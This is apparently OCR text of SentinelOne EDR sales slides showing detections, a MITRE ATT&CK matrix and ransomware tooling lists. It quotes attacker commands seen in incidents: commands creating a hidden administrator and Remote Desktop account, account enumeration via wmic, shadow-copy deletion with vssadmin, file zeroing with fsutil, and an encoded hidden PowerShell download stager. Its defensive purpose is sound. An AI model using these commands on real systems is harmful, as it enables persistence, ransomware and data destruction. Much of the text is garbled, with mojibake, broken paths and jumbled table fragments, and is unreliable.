SentinelOne

Al 7]ute] Q[ xr=f5< o







"cWwindowstsystem32#tcmd.exe” /c "wmic useraccount get name, sid && echo LINE_DELIMITER && wmic
/namespace:¥rootWcimv2 path win32_groupuser"

'‘cmd.exe /Q /c net user D**** password******/add /y & net user D**** /active:yes & net user D**** /expires:never & net
localgroup "Administrators" D**** /add & net localgroup "Remote Desktop Users" D**** /add & reg add
"HKEY_LOCAL_MACHINEWSoftwaret#tMicrosoft#Windows NTWCurrentVersion¥WinlogonWSpecialAccounts#Userlist" /v D**** /t
REG_DWORD /d 0 /f 1> #WW127.0.0.1WADMIN$¥__1729701705.8193433 2>&1

‘cmd.exe /Q /c net user D**** password******/add /y & net user D**** /activeryes & net user D**** /expires:never & net
localgroup "Administrators” D**** /add & net localgroup "Remote Desktop Users" D**** /add & reg add
"HKEY_LOCAL_MACHINEWSoftwarettMicrosoft#Windows NTWCurrentVersion¥WinlogonWSpecialAccounts#Userlist" /v D**** /t
REG_DWORD /d 0 /f 1> ##127.0.0.1W#ADMIN$¥ 1729701705.8193433 2>8&1

'‘cmd.exe /Q /c net user D**** password******/add /y & net user D**** /active:yes & net user D**** /expires:never & net
localgroup "Administrators" D**** /add & net localgroup "Remote Desktop Users" D**** /add & reg add
"HKEY_LOCAL_MACHINEWSoftwaret#tMicrosoft#Windows NTWCurrentVersion¥WinlogonWSpecialAccounts#Userlist" /v D**** /t

'‘cmd.exe /Q /c net user D**** password******/add /y & net user D**** /active:yes & net user D**** /expires:never & net
localgroup "Administrators" D**** /add & net localgroup "Remote Desktop Users" D**** /add & reg add
"HKEY_LOCAL_MACHINE#WSoftwarettMicrosoft#Windows NTWCurrentVersion¥WinlogonWSpecialAccounts#Userlist" /v D**** /t
REG_DWORD /d 0 /f 1> #WW127.0.0.1WADMIN$¥_1729701705.8193433 2>&1

wevtutil ge Microsoft-Windows-TerminalServices-LocalSessionManager/Operational /c:5 "/q:*[System [(EventID=25)]]" /rd:true
/ftext
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Antivirus + EDR
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Reconnaissance Credential Lateral Remote Defense Staging Data
Theft Movement Access Evasion Exfiltration OI-_Q_ * -9- =
E El =0 A
Ipconfig Lsass Dump Psexec RDP (mstsc) Defender SCCM RClone 2023 Ijoll IO b= 1 o E
Disable
Whoami Mimikatz PDQ Install TeamViewer Group FileZilla
Gmer
Net.exe Meterpreter Winrm AnyDesk Policy Winscp —
i ) _ Icesword
ADFind Cobalt Strike impacket Splashtop Psexec Telegram I
Regedit
ADRecon.py BloodHound SSH ZohoAssist (rei exe) PowerShell Cloud services
_ ' (MegaSync, - e :
gdvanced Port SharpHound SMB ConnectWise Process Remote megacloud, Intelllgence Drlven Threat Huntlng
canner E—
ProcDump Chisel BeyondTrust Hacker Connectwise | €tc.) f&f/*“ :,%%
IP Scanner
Process WMI GoToAssist PowerShell Ngrok
PingCastle Hacker i RemotePC Servi(.:e Kill
Powerview ninjacopy _ (bat file)
TightVNC _
Winrm NirSoft _ Process Kill
Registry (bat file)
Impacket Lazagne terminal
_ ) server enable  Hrsword
Cobalt Strike PassView
_ NetSupport Terminator
Powershell Empire = PowerDump
NetCat Vulnerable
arp.exe drivers
Ngrok
Netstat
FRP
Nslookup
PowerShell
Lol remoting
Ping Castle
PowerView
BloodHound
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X AN A D,
KILL QUARANTINE REMEDIATE ROLLBACK
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» SHH AMSHE| obM A E 0| 8l|4| DBE Blacklist0l] §-X|

- (] - 1 taskdl.exe (+4 More) Malicious 5/5TrueP... ~  4/5Unres.. w |:'|3
Prev 5/5 ‘ (© Jul 26th 2021 15:21:36 @ MmiTiGaTED © Mitigation Action
Threat mitigation status Q Al Confidence level Q Analyst verdict Q Incident status @ Pending actions Q Action failed ¢
ta Skd | exe Analyst Verdict  True Positive ted 3,024  Malicious 3182  Undefined 2,496  Unresolved 2705 No 3029 No -
* ) itigated 140  Suspicious True positive 405 Resolved 477  Yes 153  Yes E
Incident Status Unresolved d as benign 18 MN/A Suspicious 263 In progress é
T B ) R :
) View Other Threats ’ [ Wiew Threat Details 2] View in VirusTotal False positive 18 .
MITIGATION ACTIONS §
File Path Originating Process
\Device\HarddiskVolume2\Users\win7user-01\... 3dcé191c1255cfbaf?4461e%a... Killed (v ]
uarantined 1/1 Minimize
Command Line Arguments Initiated By Q a L
MN/A Agent Policy
i Mo Items Selected 1,409 Threats 100 Results ~ Columns * Export
Sigmer ldentity Engines
MN/A SentinelOne Cloud . . . . .
v 3 | Al Confidence Le... 3 | Analyst Verdict H | Incident Status H | Endpoints v 8 | Detecting Engine
Classification Detection Type {+15 More) Malicious 15/16 True.. v  7/16Unre.. ~ [Jd 4Endpoints/2 Groupt SentinelOne Cloud
Ransomware Static
(+14 More) Malicious 13/15 True... ~ 10/15 Unr... |:Tj 4 Endpoints / 2 Groupt  SentinelOne Cloud
Malicious Undefined w Unresolved + Win10-TEST1 SentinelOne Cloud
w |:| [ ] T1216.sct Malicious Undefined W Unresolved + Win10-TEST1 SentinelOne Cloud
A I:I [ ] T1218-2.dll Malicious Undefined w Unresolved Win10-TEST1 SentinelOne Cloud
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Static Al(Artificial Intelligence)

. DU MHMSIX| %D He HE £ AIS 283 HHAE ofF T
= Entropy/|%!
= Training

m_
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First seen Jul 26, 2021 17:52:22 @ Only 1 ime on the current endpoint Q Find this hash on Deep Visibility THREAT INDICATORS (1) NOTES
Last seen Jul 24, 2021 17:52:22 1 Account / 1 Site / 1 Group m
Q
THREAT FILE MAME  sihostéd.exe Copy Details Download Threat File
Hiding/5tealthiness
Path \Device\HarddiskVolume2\ Users\Administrator\A... Initiated By Agent Policy The rnajuntll,.- of sectmr:m in this PE have high entropy, a sign
of obfuscation or packing.

Command Line Arguments Engine On-Write Static Al
Process User WIN10-TEST1\Administrator Detection type Static
Publisher Mame Classification Malware
Signer ldentity File Size 10.50 KB
Signature Verification MotSigned Storyline Static Threat - View in DV
Crriginating Process phoneupdate.exe Threat Id 12084490980654845469
SHA1 Pb65d5fbal3c1174af142deHdbl1 7 cd9989332fc
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lympic-destroy b hE)Itle . cmd.exe (CLI interp... wbadmin.exe
. Late ral movement(& 0|& &4) \9 AR ) :
N A N 7o W Olympic Destroyer
e ympic Destroy
\ obgvu.exe | \ . cmd.exe (CLIinterp... vssadmin.exe
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Execution
12 techniques

Initial Access
9 techniques

SentinelOne ¢ 2|4k EX| ATl

Tactics(&24 ™ =), Techniques(347|5&) &AM

Privilege
Escalation
13 techniques

Persistence
19 techniques

Drive-by Command and
Compromise Scripting
Interpreter
Exploit Public- o/e)
Facing Container
Application Administration
Command

External Remote

Services Deploy Container

Hardware Exploitation for

Additions Client Execution

Phishing (0/3) u Inter-Process
Communication (0/2)

Replication

Through Native API

Removable

Media Scheduled
Task/Job ;)

Supply Chain

Compromise ;) B Shared Modules

Trusted Software

Relationship Deployment Tools

Valid System

Accounts ;) Services ;)

User Execution (0/3)
Windows
Management
Instrumentation

SentinelOne

Credential
Access

15 techniques

Defense Evasion
39 techniques

Account Abuse Elevation
Manipulation (0/4) Control
Mechanism (0/4)
BITS Jobs
Access Token

Boot or Logon Manipulation (0/5)

Autostart

Execution (0/14) Boot or Logon
Autostart

Boot or Logon Execution (0/14)

Initialization

Scripts Boot or Logon
(0/5) A

Initialization

Browser Scripts (0/5)

Extensions

Create or Modify

System

Process (0/4)

Compromise
Client Software
Binary

Domain Policy
Create Modification (0/2)
Account ;5

Escape to Host
Create or Modify
System Event Triggered
Process (0/4) Execution (0/15)
Event Triggered Exploitation for
Execution 5 Privilege
Escalation
External Remote
Services Hijack Execution
Flow

0/11

Hijack Execution I o

Flow

(0/11) Process

Injection (0/11)
Scheduled
Task/Job (0/7)

Implant Internal
Image

Modify
Authentication

Valid

Discovery
27 techniques

Lateral
Movement

9 techniques

Collection
17 techniques

BE HS

Command and
Control

16 techniques

Exfiltration
9 techniques

Abuse Elevation Brute
Control Force (0/4)
Mechanism (0/4)

Credentials
Access Token from Password
Manipulation (0/5) Stores (0/5)

BITS Jobs Exploitation for
Credential

Build Image on Host Access

Deobfuscate/Decode Forced

Files or Information Authentication

Deploy Container Forge Web

Credentials (0/2)
Direct Volume Access

Input
Domain Policy Capture (0/4)
Modification (0/2)

Man-in-the-
Execution Middle (0/2)
Guardrails g,

Modify
Exploitation for Authentication
Defense Evasion Process
File and Directory Network
Permissions Sniffing
Modification (0/2)

OS Credential
Hide Artifacts (0/7) Dumping (0/8)
Hijack Execution Steal
Flow Application

(0711) Access Token

Impair Defenses (0/7)
Steal or Forge

Kerberos

Tickets (0/4)

Indicator Removal on
Host (0/6)

Account
Discovery (0/4)

Application Window
Discovery

Browser Bookmark
Discovery

Cloud Infrastructure
Discovery

Cloud Service
Dashboard

Cloud Service
Discovery

Container and
Resource Discovery

Domain Trust
Discovery

File and Directory
Discovery

Network Service
Scanning

Network Share
Discovery

Network Sniffing

Password Policy
Discovery

Peripheral Device
Discovery

Exploitation of
Remote
Services

Internal
Spearphishing

Lateral Tool
Transfer

Remote
Service
Session
Hijacking (0/2)

Rem pte
Services (0/6)

Replication
Through
Removable
Media

Software
Deployment
Tools

Taint Shared
Content

Use Alternate
Authe_ntication
Material

Archive
Collected
Data (0/3)

Audio Capture

Automated
Collection

Clipboard Data

Data from Cloud
Storage Object

Data from
Configuration
Repository (0/2)

Data from
Inform.atiqn
Repositories (),

Data from Local
System

Data from
Network Shared
Drive

Data from
Removable
Media

Data Staged (0/2)
Email .
Collection (0/3)

Input

Capture (0/4)

Application
Layer

Protocol (0/a)
Communication
Through
Removable
Media

Data _
Encoding (0/2)

Data )
Obfuscation (0/3)

Dynamic
Resolution (0/3)

Encrypted

Channel (0/2)

Fallback
Channels

Ingress Tool
Transfer

Multi-Stage
Channels

Non-Application
Layer Protocol

Non-Standard
Port

Protocol
Tunneling

Proxy (0/4)

Aut.oma'_ced
Exfiltration (0)1)
Data Transfer
Size Limits

Exfiltration
Over
Alternative
Protocol (0/3)
Exfiltration
Over C2
Channel

Exfiltration
Over Other
Network
Medium (0/1)

Exfiltration
Over Physical
Medium (0/)
Exfiltration
Over Web
Service

Scheduled
Transfer

Transfer Data
to Cloud
Account




Anti-exploitation / Fileless

= B At

PowerShell 9]
2% < 2HEncryption) M2
S5 M M3l = oFM
sHol E

[ - |

T Y

- |

(:-[ﬂ]-: regsvr32.exe (CLL.. \ '/;;‘? cmd.exe (c330b630... :\l .
\J -r/ \\—.

J

~ . @
S SentinelOne

powershell.exe (CLI 1720)

‘ [4] View Threat Details ’ >1 View in VirusTotal

File Path

Command Line Arguments

Signer Identity
N/A

Classification

Malware

(Zn )

iy

€330b630e78eb74... / 5 cmd.exe (CLI interp... -\‘

-— = g

N y,

I

(&)

I conhost.exe

" N

\Device\HarddiskVolume4\Windows\System32\...

-NoP -sta -Nonl -W Hidden -Enc WwBTAFkAUw...

Originating Process

N/A

Initiat<d By
Agent Policy

Engines

Anti Exploitation / Fileless

Detection Type
Dynamic

o

) powershell.exe (CLI .. >

f;I conhost.exe

(&5

o™

-NoP -sta -Nonl -W Hidden -Enc
WwBTAFKAUWBUAEUAbQAUAE4AZQBUAC4AUwW
BIAHIAVgBJAEMAZQBQAES8ASQBUAHQATQBhAE
4AQQBHAGUAcgBdADoAOgBFAHgACABFAEMAYV
AAXADAAMABDAG8AbgBUAEkAbgBVAGUAIAA9
ACAAMAA7ACQAVWBDADOATgBIAFCALQBPAEIA
SgBIAEMAdAAgAFMAeQBTAHQAZQBtAC4ATgBF
AFQALgBXAGUAQgBDAEWASQBFAG4AVAA7ACQ
AdQA9ACcATQBVAHoAaQBSAGWAYQAVADUALg
AwWACAAKABXAGkAbgBkAG8AdwBzACAATgBUAC
AANgAUADEAOwWAgAFCcATWBXADYANAA7ACAAV
AByAGKAZABIAG4AdAAVADcALgAWADsAIAByAH
YAOgAxADEALgAWACKAIABsAGkAawBIACAARwWB
IAGMAawBvACcAOWAKAHCAQWAUAEgARQBhAG
QAZQBYyAHMALgBBAEQARAAOACCAVQBzAGUAC
gAtAEEAZWBIAG4AdAANACWAJABI1ACKAOWAKA
HcAYWAUAFAAcgBPAHgAeQAgADOAIABbAFMAW
QBTAHQARQBNAC4ATgBFAHQALgBXAEUAQgBS
AEUAcCQBVAEUAUwWBOAFOAOgA6AEQARQBGAEE
AdQBsAHQAVwBIAGIAUABYAG8AeABZADsAJAB
3AGMALgBQAHIATWB4AFkALgBDAHIARQBKAEU
AbgBOAEKAQQBMAFMAIAAPACAAWWBTAHKAC
wBUAEUATQAUAE4AZQBUAC4AQwBYAEUARAB
FAG4AVABJAEEATABDAEEAYWBIAGUAXQAG6ADo
ARABFAGYAYQB1AEWAdABOAEUAVABXAE8AUg
BrAEMAUgBIAEQARQBOAFQASQBhAEWACWA7ZA
CQASWAPACCAVQAWAFCAOQBOAFYASWAUAHOA
OgBtAHgARAAOADIAaABcAEOARWBXAGAAYWBG
ADUAIQBRADOAWwWBOAGwWAbwBaACcAOWAKAE
kA

(CMD+C to copy this content to clipboard)




Storyline (AE2|2}91)
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- VSSHHOIO|O|X| AMH| Al E E dcators
— 4
_ Ol Al e 74 o bededit.exe
'u'I-T'l = OI o -lo_ | A| E : ‘\._ Single Mode PROCESS SUMMARY

- HX|AER| HA AE

_./" Mame: vssadmin.exe
I beededit, exe
T Load more [5/16) % k Single Node

UID: 97441FCYAEDCI3ES

N S

}:@3 |4:||E|-[b||'.2 E}I!-E - , .'_-'
Events: J ID: 3884
‘/- cmd.exe (vssadmin... ;\_ _ ;'/;%1 WMIC.exe (CLI inte...
Events: 5 j 1\_ Single Node Command Line: delete shadows /all /quiet

Image Path: \Device\HarddiskVolume2'\Wind

f ows\system32\wssadmin.exe

I @ ﬂ_:mh::nst.ﬂm

\_ *ingle Mode SHA1L: aafe91bdc580260edef7fabcéb27 350

aele703f

] ] B
Verified Status: SignedKnownbAndVerified
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Threat Status: MITIGATED Al Confidence Level: MALICIOUS Analyst Verdict:

Incident Status: | Unresolved v

True Positive v ]

Mitigation Actions taken: KILLED € 83/83 QUARANTINED @ 53/53 REMEDIATED @ 13114/13114 ROLLED BACK © 1212/1218
| 4 Q

'.
----
------------
.......................
----------
......
. 0

. », .
o ..

R ® [ ]
700 2L2|% O|Lioj 537He] TS HEMOZ ZHa|Hs | 31 % O|Ljol 131147He] 9/& MAHS HTHOZ 45 2 Az} O|LHoll 12127H2] QI ¥ AfstS Mamoz |
Lict. SALICH, SusiaLCH.

CSV EIM Cjezc | CSV HM [ 2 ‘ CSV HTM Cle2E ‘

'e‘)‘...i................................... sssssssssngusnannnnna)p

el 4A| 7t ZAat 4A|Zt Aa}
(_'-.:.'ﬁ I A/d) (AEHAF 11 A A) (AEHAF 111 A )

Windows Volume Shadow Service &&

. Yolume Shadow
Writers |<— Copy Service 4| Requestor

b ——

Hardware Software
Prmnder Provider Provider

— s b
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OiE2|7|0] FHUE SE HIS

. AX|E O{Z2|A|0| M HEet CVE 3 HIO|EIS Ztsto] AlAHO| N
M N3

© Low (18) ©@ Medium (49) @ High (55) @ Critical (33) (O No known risk (13,231) 155 applications 50 Results v
APPLICATION DETAILS X
Type S | Name & | Version & | Risk 4 | Endpoir o
Microsoft Office 2003 Web Components
App Microsoft Office 2003 Web Components 11.0.6558.0 Critical : E 11065580 tion
. sy p — .
App Microsoft .NET Framework 4.8 4.8.03761 Critical ___l:l__‘ F F22] Hpcc NT24T tion
App Microsoft Office 2003 Web Components 11.0.6558.0 Critical :: ' sige Type Publisher tion
23.24 KB App Microsoft Corporation
App Microsoft SQL Server 2005 N/A Critical %] s tion
- CVE-2009-0562 Published on: Aug 12, 2009 5:30 PM
App Microsoft Office 2003 Web Components 12.0.6213.1000 Critical #1 F  The Office Web Components ActiveX Control in Microsoft Office XP SP3, Office 2003 SP3, tion
— Office XP Web Components SP3, Office 2003 Web Components SP3, Office 2003 Web
Components SP1 for the 2007 Microsoft Office System, Internet Security and Acceleration (ISA)
) . Server 2004 SP3 and 2006 SP1, and Office Small Business Accounting 2006 does not properly .
App Microsoft .NET Framework 4.5.2 4.5.51209 Critical %1 F  allocate memory, which allows remote attackers to execute arbitrary code via unspecified tion
— vectors that trigger "system state" corruption, aka "Office Web Components Memory Allocation
Vulnerability."
App Microsoft Office 2003 Web Components 11.0.6558.0 Critical (25 €  Basescore:9.3 Critical [ cve.mitre tion
App Microsoft SQL Server 2005 N/A Critical 551 etax Sep 30, 2009 3:29 PM Microsoft Corporation
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EDR =3 Ci|O|E

Process, Indicator, File, Network Action, DNS, Registry, Scheduled Task, Login

Process Pt Registry Keys P
Process Creation Registry Key Create Registry Key Delete Registry Key Export

Registry Key Import Registry Key Rename Registry Value Create
File A Registry Value Delete Registry Value Modified
File Creation File Deletion File Modification el s &
File Rename File Scan

Task Delete Task Register Task Start
URL ~ Task Trigger Task Update

Behavioral Indicators .
URL

Behavioral Indicators
DNS5 A

Command Scripts N
DNS

Command Script
IP A

Cross Process ~
IP Connect IP Listen

Duplicate Process Handle Duplicate Thread Handle Open Remote Process Ha...
Login ~ Remote Thread Creation
Login Logout Driver Load &
@D Windows Event Log ® (D Windows Event Log Driver Load

Extended
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EDR 4

Registry A

~ C] 2021 17:35:33 @WanaDecryptor@.exe True (2 D453A462A7992FE5 "C:\Users\hmm\Desktop\@WanaDecryptor@.exe"

SOURCE PROCESS DETAILS

Name ® @WanaDecryptor@.exe

Storyline ID ® D453A462A7992FES

Command Line ® "C:\Users\hmm\Desktop\@WanaDecryptor@.exe"
User ® DESKTOP-SGJ7JH9\hmm

Start Time Oct 15, 2021 17:35:33

Image Path ® C:\Users\hmm\Desktop\@WanaDecryptor@.exe
PID ® 4356

DNS 4|

~ [ [=] mwks-26 @ DNS DNS Resolved

SOURCE PROCESS PARENT DETAILS

Name ® chrome.exe

Start Time Oct 8, 2021 08:19:48

Image Path ® C:\Program Files (x86)\Google\Chrome\Applicati...
Unique ID ® 9104584C3395E33F

~ : @
S SentinelOne

DESKTOP-SGJ7JH%\h... C:\Users\hmm\L

DESKTOP-SGJ7JH?
windows

54ed31ee65a545f1910cc55b316e163e
desktop

ESCARE STD
1159824934048771541

5DDO8E7FF3B08013  "C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --ty

® argus.shopifycloud.com

REGISTRY DETAILS ENDPOINT DETAILS
Key Path ® USER\S-1-5-21-3001522091-808374922-7666... Show More Endpoint Name
Value ® (C:\Users\nmm\Desktop\@Wan Endpoint OS
Old Value Type ® S7 Agent UUID
Old Value ® C:\Windows\web\wallpaper\ 'IIE'SSSOint Machine
Site Name
Site ID
Oct 18, 2021 09:24:06 chrome.exe False
SOURCE PROCESS DETAILS DNS DETAILS
Name ® chrome.exe Request
Storyline ID ® 5DDOSE7FF3B08013 Response
Command Line ® "C:\Program Files (x86)\Google\Chrome\Applica... Show More
User ® |TTELLIGENT\Gui.Salgado
Start Time Oct 8, 2021 08:19:48

® type: 5 argus-server-production-web-ngin-k




EDR Al

Process A

Agent UUID Event type Event Time Source Process Unique ID Source Process StoryLine ID
— ViMware- OH (Windows10 - 2} conhost.exe
|_| 4af 37628 3ae4473%a7dfadc02faeccd s DDE‘H Remote Process Handle Nov 82024 14:31:18 T1C4AT7T13ESD5 A4S Dlg DBBA79713E605A46

By Open Remote Process Handle

Agent UUID Viware- OH (Windows10 - 2)

R a0 o e T N fad (2 farcd

conhost.exe

Source Process Unigque ID 81 T "“[g
79713E605,

Source Process Comma... VPC:\Windowssystem32\conhost.exe Oxfffffff -ForceV1

Source Process User 2 DESKTOP-N3DREK\ESCARE-OH Windows 2

fsutil.exe

Target Process Unique ID B aoeenenss I8
79713605,

Target Process Relation other
Target Process Comman... fsutil file setZeroData offset=0 length=524288 "C:\Users\ESCARE-OH Windows 2\...
Target Process User DESKTOP-N3DR6K\ESCARE-OH Windows 2
R R et °
L]
Files A
Agent UUID Event type Event Time Source Process Unique ID Source Process Storyline 1D
— VMware- OH (Windows10 - 2) . S545f842caZeb77bcacOfd17dad...
‘ |_| 4af396283aed4 7 3IFaTd0fadc02faeccd D File Rename Nov 8 2024 14:30:48 @gﬁ.B.-‘l.?ﬁ?'jEéCS.-‘l.dé Q['g DBBA7Y713EM5A46

Y File Rename

YWilware- OH (Windows10 - 2)

Agent UUID
4af3P6283aed473%a7d0fad 02 faeccd

Source Process Unique ID @ 0545f842c a_Zeh??hc ac0fd17d6d0aBcb07d7dbeB669709f3096e5c1828e1c049.exe o
DABATI7 13E605A46

Target File Path [ C:\Users\Public\DocumentshafterSentDocuments\docs9\ghi3.pdf.lockbit

Target File Old File Path C:\Users\Public\Documents\afterSentDocuments\docs?\ghi3.pdf

Target File size L5656

~ : @
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Indicator 2HA|

2 C] oral Indicators Oct 15, 2021 17:35:34 @WanaDecryptor@.exe True [2 D453A462A7992FE5 C:\Users\hmm\Desktop\@WanaDecryptor@.exe "C:\Users\hmm\Desktop\@WanaDecryptor@.exe"
SOURCE PROCESS DETAILS INDICATOR DETAILS ENDPOINT DETAILS
Name ® @WanaDecryptor@.exe Name ® RansomwareBehavior Endpoint Name ® DESKTOP-SGJ7JH9
Storyline ID ® D453A462A7992FES Category ® Ransomware Endpoint OS ® windows
Command Line ® "C:\Users\hmm\Desktop\@WanaDecryptor@.exe" Description ® Behaves like ransomware. MITRE: Impact {T1486} Agent UUID ® 54ed31ee65a545f1910cc55b316e163e
User ® DESKTOP-SGJ7JH9\hmm Endpoint Machine °
Type desktop
3f4a711 Start Time Oct 15, 2021 17:35:33
Site Name ® ESCARESTD
Image Path ® C:\Users\hmm\Desktop\@WanaDecryptor@.exe
Site ID ® 1159824934048771541
PID ® 4356
Network &4l
a N
Agent UUID Event type Event Time Source Process Unique ID Source IP Source Port Destination IP Destination Port MNetwork Event Direction Metwork Connection Status
O :‘r':';"’ar‘j Or:{“gm:“"":‘ifo - ?1} € IPConnect  Nov8202414:29:32 (P> o042cadeh//beacdid17déd... agl192 168.2.144 50217 192.168.2.254 445 OUTGOING BLOCKED
] VMuware- OH (Windows10-2) © IPConnect  NovB8202414:29:32  2245f842caZeb7/bcac0fd17déd... oolq93 1482 144 50216 192.168.2.254 135 OUTGOING BLOCKED
4af376283ae447 3Fa7d0fadc02faeccd DABATFTI3ESO5 A4S
) 1 YMware- OH (Windows10-2) © IPConnect  Nov 82024 14:29:32  52245f842caZeb7/bcac0fd17déd... oolq92 1482 144 50215 192.168.2.253 445 OUTGOING BLOCKED
4af376283ae44 7 3Fa7d0fadc02faeccd DABATFT13EGD5A4E
) YMuware- OH (Windows10-2) © IPConnect  Nov8202414:29:32  32245f842caZeb7/bcac0fd17déd... oolq95 1482 144 50214 192.168.2.253 135 OUTGOING BLOCKED
4af396283ae447 3Fa7d0fadc02faeccd DABATFTI3ES05A44
) ) VMware- OH (Windows10-2) © IPConnect NovB8202414:29.32  2245f842caZeb7/bcac0fd17déd... olq93 1482 144 50213 192.168.2.252 445 OUTGOING BLOCKED
4af3FE283ae447 IFaTd0fadc02faeccd DABATFT13EE05A44
O [ Yiware OH{Wincows'0-2) ) IPConnect  Nov8202414:29:32 (P oo42cadeh//bcacOid17déd. agl492 1682144 50212 192.168.2.252 135 OUTGOING BLOCKED
) VMuware- OH (Windows10-2) © IPConnect  Nov8202414:29:32  52245f842caZeb7/bcac0fd17déd... oclq97 1482 144 50211 192.168.2.251 445 OUTGOING BLOCKED
4af376283ae447 3Fa7d0fadc02faeccd DABATFTI3ESO5A4E
) ) VMware- OH (Windows10-2) © IPConnect NovB8202414:29.32  2245f842caZeb7/bcac0fd17déd... olq93 1482 144 50210 192.168.2.251 135 OUTGOING BLOCKED
4af376283ae447 3Fa7d0fadc02faeccd DABATFTI3ESO5 A4S
—
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JeUEEEEEEEEEEEEEEEsEEEsEEEEEEEsE

SentinelOne EDR

0“
All Events ' 225K 8 Processes 59K Cross Processes 847 # Indicators = 50K D Files 79 £} Network Actions = 23K @ DNS 2« & URL 2K £ O= Registry 8K B Scheduled Tasks 706 %) Logins 19 ] Command Scripts 69 More ¥
225,293 matching events 5 minutes/bar Expand Graph (o] | (o] ThuDec07 - 11:45:00 - 11:50:00 am [UTC+9] - 2,615
i o= EtQlatel
20k oo
1ok - AT e g
o — i W i I s T s s i1 ) e I e e R e G
11:00 AM 11:15 AM 11:30 AM 11:45 AM 12:00 PM 12:15 PM 12:30 PM 12:45 PM 1:00 PM 1:15 PM 1:30 PM 1:45 PM 2:00 PM 2:15PM 2:30 PM 2:45 PM 3:00 PM 3:15 PM 3:30 PM 3:45 PM
. Event ) = B
Event Time Agent UUID Event type Event Details URL ViV
Category
N URL Action https://teams.events.data.microsoft.com/OneCollector/1.
DESKTOP-2DGA439 ps
e ) —2 e 7
L) Dec7202311:46:36 = b072099f12004132a0b993856a29¢53f url & POST POST o/
Network Event Direction Network Connection Status A
DESKTOP-2DGA439 0 e
e M —2 e s W
L Dec7202311:46:36 = 5072099f12004132206993856329c83 T £ IP Connect OUTGOING SUCCESS 0 [¢] iE EI EI'?_I *I 7—||.2I' ® [14]
e @I .‘c-------- sEsssmnmnn ----.----.. IE] AR ?
>
Network Event Direction Network Connection Status 05065 105100 L5 10513 0165 105200 0515 10523 g 00 052 105365 10540 10545 0342 03465 10550 05515 10553 05565 10560
DESKTOP-2DGA439 . *
o o - — *>
L] Dec7202311:46:33 S D072099112004132200993856329¢9% T € IP Connect OUTGOING SUCCESS O H'" E AF o
I -— O k"
B DESKTOP2DGALS Target Filesize JUITEECIEFRIPRRTEPPCPreer b X @
e W] —— = e T H q *
l Dec7202311:46:33 T b072099F12004132a0b993856a29c93f file D File Deletion 23082 .".
cmd.exe 8
- ~ DNS Response .”
O becraminaes  w OEKIRICMD g DRt et sty g o
b0720991200413220b993856a29c93f type: 5 enterprise-activity-ge... @ N/A PSEXESVC.EXE
- 707'2 Site Name ESCARE_TEST
- R Registry Value Type Registry Value Full Size PID: 9 :
. DESKTOP-2DGA439 . . " . .
[ | Dec7202311:46:33 ) o ot iooseesmoay  TEBISITY O RegistryValue..  gyaRy 24 D& %5 B Endpoint OS windows
) ) o Endpoint Name DESKTOP-37MCAVF
-  DESKTOP-2DGA439 Target File Old File Path Target File size
[ Dec 7 2023 11:46:33 E == file ) File Rename .
b072099F12004132a06993856a29¢93f C:\Users\ESCARE\AppDatal\... 3122 Agent UUID Qda%ece3a3a44f2bb9509d971bc2...
- Target File Old File Path Target File size
DESKTOP-2DGA439 .
[) Dec7202311:46:33 = b072099f1200413aa0b993856a29c93f fiie D File Rename C:\Users\ESCARE\AppData\... 3134 PROCESS PROPERTIES A
: ‘ L powershell.exe conhost.exe
DESKTOP-2DGA439 ) Target File Old File Path Target File size PID: 5940 PID: 5624
[ ] Dec7202311:46:33 e s s 1| D File Rename C\Users\ESCARE\AppData\... 21922 ' 1 Indicators 1 Processes
O b
cmd.exe
Parent Name powershell.exe
Event C Event Tabl Io A Al 0S Parent Name services.exe
vent Count vent Table - EA1I hatind o A1
B LLLRLLEELE PSEXESVC.EXE Name amd.exe
All Events 3 % Indicators 1 @ Processes 2 .," PID: 2148
o 2 0 Storyline ID 71A0FE30416E94AF
Data Fetched & No Items Selected ’: 3 Results 50 Results + Columns ~ [® Is Storyline Root false
Command Line C:\Windows\system32\cmd.exe /...
Endpoint Name Y ¢ i | Event Time 1+ ‘ Object Type Y ¢ i | Event Type Y ¢ i ‘ Source Process Name Y T i ‘ Attribute User
. _ : C:\Windows\system32\cmd.exe /C start
— A arget Process Name Target Process Command Line Start Time X s
v O DESKTOP-37MCAVF Dec 6, 2023 10:56:08 i PROCESS Process Creation “8 powershell.exe emd.exe C:\Windows\system32\cmd.exe /C ... C:\Windows\system32\cmd.exe /C "timeout /t 3
H n
. Target Process Name Target Process Command Line pOWerShe” exe ConhOSt exe Image Path >DUI&&eChO TEStSVC > \\\pIDE\TEStSVC
v O DESKTOP-37MCAVF Dec 6, 2023 10:56:08 i3 PROCESS Process Creation 9B cmd.exe cmd.exe C:\Windows\system32\cmd.exe /C . .
X : ys X PID: 8808 PID: 5616 PID (CMD+C to copy this content to clipboard)
. i N Indicator Name Indicator Category FE €
v O DESKTOP-37MCAVF Dec 6, 2023 10:56:08 # INDICATORS Behavioral Indicators 9B cmd.exe InterpreterChaining Evasion x*D0® x Display Name Windows Command Processor

~ : @
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Singularity Data Lake

© ESCARE_TEST

Search +

Dashboards +

Star Custom Rules

Docs v

AND, OR 2| =

EDR ~

SOURCES
SentinelOne

FIELDS
Filter fields

endpoint.name
endpoint.os
event.category
event.type
indicator.category
indicat...cription
indicator.metadata
indicator.name
0s5rc_process.name
registry.keyPath
registryvalue
src.pro...cmdline
SrC.Process.name
src.pro...ent.uid
SPC_Process.User
task.path
tgt.file.path
tgt.filesize
tgt.pro...cmdline
tgt.pro...relation
tgt.process.uid

tgt.process.user

account.id

account.name

Q) endpoint.name

11

as

11
564

45

133

='YMware- OH (Windowsl® - 2)'

All Events 318

M Start  End M

316 matching events 4 hours / bar

ULy
400
200

0

= MNav 7

Agent UUID

(src.process.name in (‘"cmd.exe',

I3 Processes

Expand Graph s

VMware- OH (Windows10 - 2)

4af 37628 Jaed4 7 IFa7 dfadc02faecc

VMware- OH (Windows 10

4

4af396283ae44 7 3%aTdfadc02faecc

VMware- OH (Windows10

4af 39628 3aed4 7 I%aTdfadc02faecc

VMware- OH (Windows10

2)

A4af 39628 Iaed4 7 3%a7 d0fadc02fas

VMware- OH (Windows 10

s

4

2)

4af396283ae44 7 3%aTdfadc02faecc

VMware- OH (Windows 10

o

4af 39628 3aed4 7 I%aTdfadc02faecc

VMware- OH (Windows10

4af 39628 Jaed4 7 I%a7dfadc02faecc

VMware- OH (Windows10

4af396283ae44 7 3%aTdfadc02faecc

VMware- OH (Windows 10

4af 39628 3aed4 7 3%aTdfadc02faecc
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# Save ~

133

MNov 8

=% Share =

